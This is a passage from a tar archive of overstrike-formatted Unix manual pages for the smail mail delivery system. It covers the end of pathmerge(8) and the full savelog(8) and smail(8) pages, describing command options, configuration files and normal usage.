say that we have two files, _f_o_r_c_e_s and _p_a_t_h_s, whose contents are, respectively: ihnp4 cbosgd!ihnp4!%s muts12 muts12!%s sun sun!%s and cbosgd cbosgd!%s ihnp4 ihnp4!%s sun ames!sun!%s uunet uunet!%s The command _`_`_p_a_t_h_m_e_r_g_e _f_o_r_c_e_s _p_a_t_h_s_'_' will produce on the standard output: cbosgd cbosgd!%s ihnp4 cbosgd!ihnp4!%s muts12 muts12!%s sun sun!%s uunet uunet!%s For the purposes of pathmerge, a hostname is terminated by either a space, a tab, a colon or a newline. The number of _f_i_l_e arguments is limited by the number of available file descriptors, as all of the files are opened and read simultaneously. SSEEEE AALLSSOO _m_k_l_i_n_e(8), _m_k_s_o_r_t(8), _m_k_d_b_m(8), _s_m_a_i_l(5), _s_m_a_i_l(8), _m_k_p_a_t_h _(_8_) and _p_a_t_h_a_l_i_a_s(8). CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions Local 31 January 1988 1 PATHMERGE(8) PATHMERGE(8) associated with this software. Local 31 January 1988 2 smail-doc/man8/savelog100644 3 3 7103 5575353503 12626 0ustar binbin SAVELOG(8) SAVELOG(8) NNAAMMEE savelog - cycle and truncate log files SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//ssaavveelloogg [ --mm _m_o_d_e ] [ --uu _u_s_e_r ] [ --gg _g_r_o_u_p ] [ --cc _c_y_c_l_e ] [ --tt ] [ --ll ] _l_o_g_f_i_l_e DDEESSCCRRIIPPTTIIOONN The _s_a_v_e_l_o_g command renames and optionally compresses a log file and cycles it through a set of names based on the original log file, removing the last name in the cycle. OOPPTTIIOONNSS The _s_a_v_e_l_o_g command accepts the following options: --mm _m_o_d_e Change the permissions mode for renamed log files to _m_o_d_e. By default the mode is unchanged. --uu _u_s_e_r Change the owner for renamed log files to _u_s_e_r. By default the owner is unchanged. --gg _g_r_o_u_p Change the group for renamed log files to _g_r_o_u_p. By default the group is unchanged. --cc _c_y_c_l_e Save _c_y_c_l_e versions of the logfile, where _c_y_c_l_e is a decimal number. The default value is 7. --ll Do not compress log files. By default, a compres- sion program is used, if one is available. --tt Ensure that a new logfile exists when the savelog operation is complete. Use of --mm, --uu or --gg imply this, ensuring that the logfile will have the des- ignated mode. OOPPEERRAATTIIOONN The given logfile is cycled through files named: OLD/_f_i_l_e._n_u_m_b_e_r where _f_i_l_e is the basename for the logfile and where _n_u_m_- _b_e_r ranges from 0 to one less then the _c_y_c_l_e count speci- fied for the command. The _O_L_D dirctory is created, as necessary, and is under the same directory as the logfile itself. This cycle operation is accomplished by renaming the file numbered _c_y_c_l_e-2 to a file numbered _c_y_c_l_e-1 and so on until the file numbered 0 is renamed to the file numbered 1. If compression is being used, the first cycle file is Local 31 January 1988 1 SAVELOG(8) SAVELOG(8) compressed after being renamed to cycle 1. After the cycle files are moved through the various names, the file- file itself is moved to the cycle 0 file. This cycle nor- mally occurs once every time _s_a_v_e_l_o_g is executed. If the log file does not exist, savelog ignores it and does not cycle the OLD files. If compression is being used, then compressed log files will have an additional suffix appropriate for the com- pression program that is used. SSEEEE AALLSSOO _s_m_a_i_l(5) and _s_m_a_i_l(8). CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 2 smail-doc/man8/smail100644 3 3 100775 5575353522 12345 0ustar binbin SMAIL(8) SMAIL(8) NNAAMMEE smail, sendmail, mailq, runq, rmail, rsmtp, smtpd, newaliases - mail delivery system SSYYNNOOPPSSIISS ssmmaaiill [ _f_l_a_g_s ] _a_d_d_r_e_s_s... //bbiinn//ssmmaaiill [ _f_l_a_g_s ] _a_d_d_r_e_s_s ... mmaaiillqq rruunnqq rrmmaaiill _a_d_d_r_e_s_s _._._. rrssmmttpp ssmmttppdd nneewwaalliiaasseess DDEESSCCRRIIPPTTIIOONN _S_m_a_i_l is a program used for receiving and delivering mail. Its job is to take mail from sources on the local or on remote hosts and deliver to the appropriate destinations. This may be either on remote hosts or on the local machine. It is not intended to be a user interface for reading and submitting mail. See _m_a_i_l_x(1) on System V, _M_a_i_l(1) on BSD systems, or _m_a_i_l(1) on other systems for information on user interfaces. Smail is invoked under a wide variety of names, which serve to isolate some of its major uses: receiving local mail, receiving remote mail, attempting delivery of unde- livered mail and displaying information about undelivered mail. OOPPTTIIOONNSS All of these commands accept the same set of flags, dif- fering mainly in their default mode of operation. Two exceptions are the _r_m_a_i_l and _r_s_m_t_p commands which support only a subset of the possible flags. These two commands are intended to be used from remote hosts through remote execution over UUCP (see _u_u_x(1)) and are thus limited in how much they can do. The flags which are recognized by smail are: --bbcc Display the file _C_O_P_Y_I_N_G, distributed with the source, which details your rights and restrictions for distributing this software. --bbdd Listen for connection requests on a socket bound in the internet domain. When a connection occurs, conduct an SMTP (Simple Mail Transfer Protocol) conversation with the peer process. Listening will only occur if BSD style internet networking func- tionality is available. --bbmm Deliver mail to the recipient addresses. This is the default mode of operation if invoked as Local 31 January 1988 1 SMAIL(8) SMAIL(8) _s_e_n_d_m_a_i_l, _s_m_a_i_l, _r_m_a_i_l or _s_e_n_d_-_m_a_i_l. --bbpp List information about the messages currently in smail's input spool directories. This is the default mode of operation if invoked as _m_a_i_l_q. With the --vv or --dd flag, a per-message transaction log is displayed for each message which shows what has happened to the message so far. --bbii Initialize the aliases file, or a YP aliases file. The specific behavior of this command depends upon whether an aliases file is specified in the command with --ooAA _f_i_l_e. If such an aliases file is speci- fied, the file specifies input that will be used to build a DBM database with the same basename. The resulting DBM database is intended to be usable as a YP database. If smail was compiled with the ssddbbmm package, distributed with smail, then the resulting database will _n_o_t be usable by YP. The DBM database is rebuilt by calling mmkkddbbmm (see _m_k_d_b_m(8)) with the --yy option. If an aliases file was not specified with --ooAA, then the system default aliases file is rebuilt by call- ing the mmkkaalliiaasseess program (see _m_k_a_l_i_a_s_e_s(8) for more information). Both the mmkkddbbmm and mmkkaalliiaasseess programs are executed from the directory indicated by the ssmmaaiill__uuttiill__ddiirr attribute (by default _/_u_s_r_/_l_i_b_/_m_a_i_l). --bbPP Take the addresses given on the command line as _c_o_n_f_i_g file variables (see _s_m_a_i_l(5) for more infor- mation) and write the values for each variable on the standard output. References to variables, such as _h_o_s_t_n_a_m_e_s or _u_u_c_p___n_a_m_e which may be computed at run time, will yield the values that smail would compute normally. For example, on my workstation, the command: smail -bP hostnames max_message_size produces the output: futatsu.uts.amdahl.com:futatsu.amdahl.com 102400 With the --vv or --dd flag the variable names are dis- played as well, so that the command: smail -bP -v max_message_size produces the output: Local 31 January 1988 2 SMAIL(8) SMAIL(8) max_message_size=102400 In addition to other config file variables, the name _p_r_i_m_a_r_y___n_a_m_e will output the primary (or canonical) name for the local host which will be used by smail, and _c_o_n_f_i_g___f_i_l_e will output the name of the primary configuration file. Also, the name _h_e_l_p will produce a verbose listing of all vari- ables associated with their type, one variable per line, and the name _a_l_l will produce a verbose list- ing of all variables along with their values. It is equivalent to _s_m_a_i_l _-_b_P _-_v followed by a list of the names of all configuration variables. --bbRR Enter the hostile mail domain of giant mail mes- sages, and RFC standard scrolls. Attempt to make it down to protocol level 26 and back. --bbSS Read SMTP commands on standard input, but do not produce SMTP replies on standard output. All fail- ures are reported by return mail, rather than through reply codes. This is suitable for setting up a batched form of SMTP between machines over a remote execution service like UUCP. This is the default mode of operation if invoked as _r_s_m_t_p. --bbss Read SMTP commands on standard input and produce SMTP replies on standard output. The currently implemented SMTP commands are HHEELLOO, MMAAIILL FFRROOMM, RRCCPPTT TTOO, DDAATTAA, RRSSEETT, NNOOOOPP, VVRRFFYY, EEXXPPNN and QQUUIITT. This is the default mode of operation if invoked as _s_m_t_p_d. For compatibility with some implementations of _i_n_e_t_d(8N), if _s_m_t_p_d is started with no standard output, standard input will be _d_u_p(2)'d to standard output. --bbtt Enter address test mode. Read addresses on stan- dard input and produce the parse results and host routing/resolving information on standard output. This is primarily useful for debugging smail or debugging new smail routers. --bbvv Verify a list of addresses by producing the list of addresses produced by aliasing and forwarding expansions and by host routing or resolving. Addresses which cannot be resolved are also dis- played, along with the reasons why. --CC _f_i_l_e_n_a_m_e or --ooCC _f_i_l_e_n_a_m_e Sets the pathname of the primary config file to use in reading global attribute values. If specified, then smail sets the effective uid and gid back to the real uid and gid, to avoid problems when installations allow smail to be set uid to the Local 31 January 1988 3 SMAIL(8) SMAIL(8) superuser. If the filename is -- then no primary config file is read. This should only be used for debugging purposes. --dd_[_n_u_m_b_e_r_] or --vv_[_n_u_m_b_e_r_] turn on debugging. If a number is given, set the debugging level to that value, otherwise the debug- ging level is set to 1. No white space is allowed before the optional number. There is no differen- tiation between use of --dd and --vv. --DD _f_i_l_e Redirect debugging output to the indicated file. Normally, debugging output will disable background delivery because programs should not continue to write to standard error after the mail process exits. However, if a debug output file is speci- fied, then background delivery can occur. --eemm or --ooeemm Mail errors back to the sender (default). --eeee or --ooeeee These forms refer to a berkenet error processing style which is not supported. If used, errors will be mailed back to the sender. --eepp or --ooeepp Write errors to the standard error output. --eeqq or --ooeeqq Do not send notification of errors to the sender. This only works for mail delivered locally. Errors encountered on remote hosts mail still result in returned mail. Supply a PPrreecceeddeennccee:: jjuunnkk header field to set this behavior on local _a_n_d remote hosts. --eeww or --ooeeww Write errors to the sender's terminal using the _w_r_i_t_e(1) command, if he is logged in. Otherwise, mail errors back to the sender. (This is currently not supported and is treated in the same manner as _-_o_e_m) --FF _f_u_l_l_n_a_m_e Explicitly set the full name of the sender for incoming mail, used only if the operation mode is reception of a single mail message on standard input. --ff _s_e_n_d_e_r or --rr _s_e_n_d_e_r Explicitly set the sender address for incoming mail, used only if the operation mode is reception Local 31 January 1988 4 SMAIL(8) SMAIL(8) of a single mail message on standard input. --hh _n_u_m_b_e_r Sets the _h_o_p_c_o_u_n_t for a single message. If this is not specified, the hop count is computed from the number of RReecceeiivveedd:: fields in the message header. The hopcount is used for a primitive form of infi- nite loop detection: a sufficiently large hop count will cause mail to be rejected. --II or --ooII Use the hidden dot algorithm in reading the mes- sage. Lines with one or more dots at the beginning have the leading dot removed, while a line contain- ing only a single dot ends the input message. This is always set for messages received using SMTP. --ii or --ooii Do not allow a single `.' to end an incoming mes- sage. Otherwise, a dot on a line by itself will end a message. This is the default if smail is invoked as _r_m_a_i_l. --mm or --oomm Allow retention of the sender as a recipient for alias and mailing list expansions that include the sender. If this is _N_o_t set, the sender will not receive a copy of the message only as a result of being in an alias or mailing list. --NN Disable delivery of this message. All other pro- cessing is performed, and transports are expected to go through most of the steps involved in deliv- ery. This is useful for debugging smail when you do not actually wish to have messages delivered. --nn Do not perform alias processing. This only pre- vents expansion of entries in alias files. Mailing list files and forward files may still be expanded. --ooddbb Deliver mail in background, if mail delivery is to be performed. Background delivery is not currently supported in the SMTP modes; foreground delivery is used instead. --ooddff Deliver mail in foreground, if mail delivery is to be performed. --ooDD _f_i_l_e_n_a_m_e Sets the pathname of the director file. This over- rides the default name of the director file as well as any name set in a config file. If specified, then smail sets the effective uid and gid back to the real uid and gid, to avoid problems when Local 31 January 1988 5 SMAIL(8) SMAIL(8) installations allow smail to be set uid to the superuser. If the filename is -- then no director file is read. This should only be used for debug- ging purposes. --ooEE _f_i_l_e_n_a_m_e Sets the pathname of the delivery retry control file. This overrides the default name of the retry file as well as any name set in a config file. If specified, then smail sets the effective uid and gid back to the real uid and gid, to avoid problems when installations allows smail to be set uid to the superuser (the normal case). If the filename is -- then no retry file is read. This should only be used for debugging purposes. --ooLL _d_i_r_e_c_t_o_r_y _n_a_m_e Sets the pathname of the smail library directory. This overrides the default value of _s_m_a_i_l___l_i_b___d_i_r compiled into the smail binary, as well as any name set in a config file. This string may be used to locate configuration files, such as the director, router and transport files, alias and path files, and mailing list directories. --ooQQ _f_i_l_e_n_a_m_e Sets the pathname of the hostname qualification file. This overrides the default name of the qual- ify file as well as any name set in a config file. If specified, then smail sets the effective uid and gid back to the real uid and gid, to avoid problems when installations allows smail to be set uid to the superuser (the normal case). If the filename is -- then no qualify file is read. This should only be used for debugging purposes. --ooRR _f_i_l_e_n_a_m_e Sets the pathname of the router file. This over- rides the default name of the router file as well as any name set in a config file. If specified, then smail sets the effective uid and gid back to the real uid and gid, to avoid problems when installations allows smail to be set uid to the superuser (the normal case). If the filename is -- then no router file is read. This should only be used for debugging purposes. --ooTT _f_i_l_e_n_a_m_e Sets the pathname of the transport file. This overrides the default name of the transport file as well as any name set in a config file. If speci- fied, then smail sets the effective uid and gid back to the real uid and gid, to avoid problems when installations allow smail to be set uid to the Local 31 January 1988 6 SMAIL(8) SMAIL(8) superuser. If the filename is -- then no transport file is read. This should only be used for debug- ging purposes. --QQ or --ooddqq Spool incoming messages but do not actually perform delivery until a later queue. This mode of opera- tion is somewhat more efficient in terms of CPU usage, though it does slow down the flow of mail. --qq_[_i_n_t_e_r_v_a_l_] Cause smail to process its input spool directory. If an interval is given, smail will repeatedly check its input spool directory, sleeping for the given interval between checks. The interval is in seconds, though it can be defined as a sequence of numbers with suffixes of `s' for seconds, `m' for minutes, `h' for hours, `d' for days, `w' for weeks and `y' for years. For example, --qq22hh3300mm specifies an interval of two hours and 30 minutes. This flag is useful in conjunction with the --bbdd mode of oper- ation and will cause the daemon process to wake up on these intervals and perform queue processing. Performing a single queue run is the default mode of operation if smail is invoked as _r_u_n_q. --tt Extract addresses from the TToo::, CCcc:: and BBcccc:: fields of the message header. This is useful for user agents that do not wish to compute the recipient addresses themselves. In this mode, any addresses given on the command line are addresses that explicitly will _N_O_T receive mail, even as a result of aliasing or forwarding expansions. This option is ignored unless smail is in the mode set by the --bbmm flag (which is the default mode). --VV or --bbVV Print the _s_m_a_i_l version on the standard output. --ooUU Report memory usage when smail exits. --ooXX _m_a_i_l_-_s_e_r_v_i_c_e Set the TCP/IP service name or port number to be used for listening for SMTP requests. This can used in conjunction with the --bbdd mode to define alternate debugging versions of the smail SMTP lis- tening daemon, which may be useful in testing a new installation. --ooMMss _s_e_n_d_e_r___h_o_s_t Specify the name of the system that send the mail message. This value can be included in expansion strings through the variable $$sseennddeerr__hhoosstt. Local 31 January 1988 7 SMAIL(8) SMAIL(8) --ooMMrr _s_e_n_d_e_r___p_r_o_t_o Specify the protocol that was used by the sending host to deliver the mail message. This value can be included in expansion strings through the vari- able $$sseennddeerr__pprroottoo. NNOORRMMAALL UUSSAAGGEE Under normal usage, one smail daemon exists which receives requests from remote hosts and processes the input spool directory at intervals. Such a daemon can be started from /etc/rc with a command such as smail -bd -q1h which will cause queue runs at one hour intervals. New mail can be submitted from user agents by calling smail directly and passing a message on standard input. Mailers such as BSD _M_a_i_l(1) and some System V _m_a_i_l_x(1) programs submit mail by invoking smail with a command such as smail -em -i recipient-address ... Because smail also works correctly if invoked as _s_e_n_d_m_a_i_l it is common to install smail as _/_u_s_r_/_l_i_b_/_s_e_n_d_m_a_i_l so that existing binaries on BSD systems, or other systems that current run sendmail, do not need to be modified to run smail instead. Some user agents, such as GNU Emacs may wish to have smail decipher the recipient list from the header. These pro- grams may invoke smail with a command such as smail -em -t -i To receive mail over UUCP, _s_m_a_i_l can be invoked directly from _u_u_x_q_t as _/_b_i_n_/_r_m_a_i_l_. Alternately, _/_b_i_n_/_r_m_a_i_l can be another program that invokes smail directly as smail -em -i -fsender-address recipient address ... It is common for the System V based _/_b_i_n_/_r_m_a_i_l program to perform delivery by itself, resulting in mail bypassing _s_m_a_i_l altogether. Such systems should replace _/_b_i_n_/_r_m_a_i_l with a copy of _s_m_a_i_l or modify _/_b_i_n_/_r_m_a_i_l so that it exe- cutes a copy of _s_m_a_i_l with the arguments as given above. NOTE: In the future, a separate program may be dis- tributed with smail to serve the function of rmail at a lower cost. This program will only write the input spool file, while allowing a smail daemon to process messages at a later time. This will save Local 31 January 1988 8 SMAIL(8) SMAIL(8) the cost of a complete _e_x_e_c(2) of smail for each incoming message. An alternative method of receiving mail over UUCP is through the _r_s_m_t_p command, which receives batched SMTP requests. This can be used between two sites running smail to gain many of the benefits of the SMTP protocol, such as the ability to use recipient addresses which UUX cannot correctly pass to a remote rmail program. For example, addresses containing quotes or spaces cannot be expected to pass correctly over an uux/rmail link. How- ever a uux/rsmtp link can handle such cases. SSEENNDDMMAAIILL CCOOMMPPAATTIIBBIILLIITTYY Smail was designed to be a plug-in replacement for the BSD _s_e_n_d_m_a_i_l program, in that external programs can call smail in the same manner that they previously called _s_e_n_d_m_a_i_l and expect similar results. However, smail is completely different internally and has entirely different configura- tion files. As a result, the --oo option to smail only sets a few configuration parameters which were felt to be com- monly used by other programs. Also, for convenience, some new (upper case only) parameters are defined only in smail. Attempts to set other options using this flag are ignored. See the OOPPTTIIOONNSS section for the complete list of supported --oo options. Because _s_m_a_i_l can be called in a manner very similar to _s_e_n_d_m_a_i_l it is common to install smail as _/_u_s_r_/_l_i_b_/_s_e_n_d_m_a_i_l so that no other program need be modi- fied to use the new mailer. Thus, once properly config- ured, smail can be installed into a current sendmail-based environment, including an environment without access to source, with minimal effort. SSMMAAIILL UUNNDDEERR SSYYSSTTEEMM VV The easiest way to install smail on a System V host is to install it as _/_b_i_n_/_r_m_a_i_l. An alternative is cause _m_a_i_l_x(1) to call _/_u_s_r_/_l_i_b_/_s_e_n_d_m_a_i_l by changine the _m_a_i_l_x(1) configuration file _/_u_s_r_/_l_i_b_/_m_a_i_l_x_/_m_a_i_l_x_._r_c to include a line such as: sendmail=/usr/lib/sendmail System V's _m_a_i_l(1) command attempts to perform delivery by itself. Use of _m_a_i_l(1) to send mail should thus be dis- couraged unless _m_a_i_l(1) is modified to call _s_m_a_i_l to per- form delivery. FFIILLEESS For many sites, the compiled in configuration of _s_m_a_i_l is sufficient and thus no configuration files are needed. The following files and directories are from the default Local 31 January 1988 9 SMAIL(8) SMAIL(8) smail configuration: _/_u_s_r_/_l_i_b_/_m_a_i_l_/_c_o_n_f_i_g Optional general smail configura- tion. This file can override compiled-in configuration. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_q_u_a_l_i_f_y Optional hostname qualification configuration file. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_d_i_r_e_c_t_o_r_s Optional configuration for smail directors, i.e., configured meth- ods for resolving local addresses. This file replaces the compiled-in director configu- ration. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_r_o_u_t_e_r_s Optional configuration for smail routers, i.e., configured methods for resolving or routing to remote hosts. This file replaces the compiled-in router configura- tion. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_t_r_a_n_s_p_o_r_t_s Optional configuration for smail transports; i.e., configured methods of mail delivery. This file replaces the compiled-in transport configuration. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_r_e_t_r_y Optional delivery retry configu- ration file; i.e., minimum time between retries, and maximum time to retry before giving up. The following files are commonly used to locally redirect mail and to give paths to remote sites. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_a_l_i_a_s_e_s A file of aliases for local addresses. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_p_a_t_h_s A file of paths to remote hosts. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_l_i_s_t_s A directory of mailing list files. _/_u_s_r_/_s_p_o_o_l_/_m_a_i_l The directory for user mailbox files. _~_/_._f_o_r_w_a_r_d Lists of forwarding addresses for local users. The _s_m_a_i_l mailer typically uses the following directories for working storage, and to hold incoming mail messages. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l The top of the spool directory hierarchy. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_i_n_p_u_t Smail's spool directory for incoming messages. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_e_r_r_o_r A directory for messages which failed for some reason that the site administrator should inves- tigate. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_m_s_g_l_o_g A directory of transaction logs for individual messages. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_c_k A directory used in smail input spool files. The following files log the activity of the _s_m_a_i_l mailer. Local 31 January 1988 10 SMAIL(8) SMAIL(8) The system administrator should check and truncate these files from time. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_l_o_g_f_i_l_e A log of smail transactions. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_p_a_n_i_c_l_o_g A log of configuration or system errors encountered by smail. DDIIAAGGNNOOSSTTIICCSS Exits with 0 if no errors, non-0 otherwise. See _/_u_s_r_/_i_n_c_l_u_d_e_/_s_y_s_e_x_i_t_s_._h or _s_r_c_/_e_x_i_t_c_o_d_e_s_._h in the smail source for the list of possible exit codes. If the _-_b_d option was used, then _b_i_n_d_(_) _f_a_i_l_e_d_: _A_d_d_r_e_s_s _a_l_r_e_a_d_y _i_n _u_s_e implies that another process is already listening on the SMTP socket. SSEEEE AALLSSOO _b_i_n_m_a_i_l(1), _m_a_i_l_x(1) under System V, _M_a_i_l(1) under BSD, _p_a_t_h_t_o(1), _s_m_a_i_l(5), _S_m_a_i_l _A_d_m_i_n_i_s_t_r_a_t_i_o_n _a_n_d _I_n_s_t_a_l_l_a_t_i_o_n _G_u_i_d_e, _S_m_a_i_l _D_e_s_i_g_n _D_o_c_u_m_e_n_t, DARPA Internet Requests for Comments, RFC821, RFC822 and RFC976. BBUUGGSS Many mail bugs are not smail bugs. Smail can't help it if remote sites trash your mail messages. If you find any bugs, please mail a description to the address _s_m_a_i_l_-_b_u_g_s_@_v_e_r_i_t_a_s_._c_o_m_, along with any code fixes that you may have. Setting the input spool directory processing interval to a period of more than 2147483647 seconds is silly and will result in an incorrectly calculated processing interval. Route-addrs on protocol level 1 are too strong. CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 11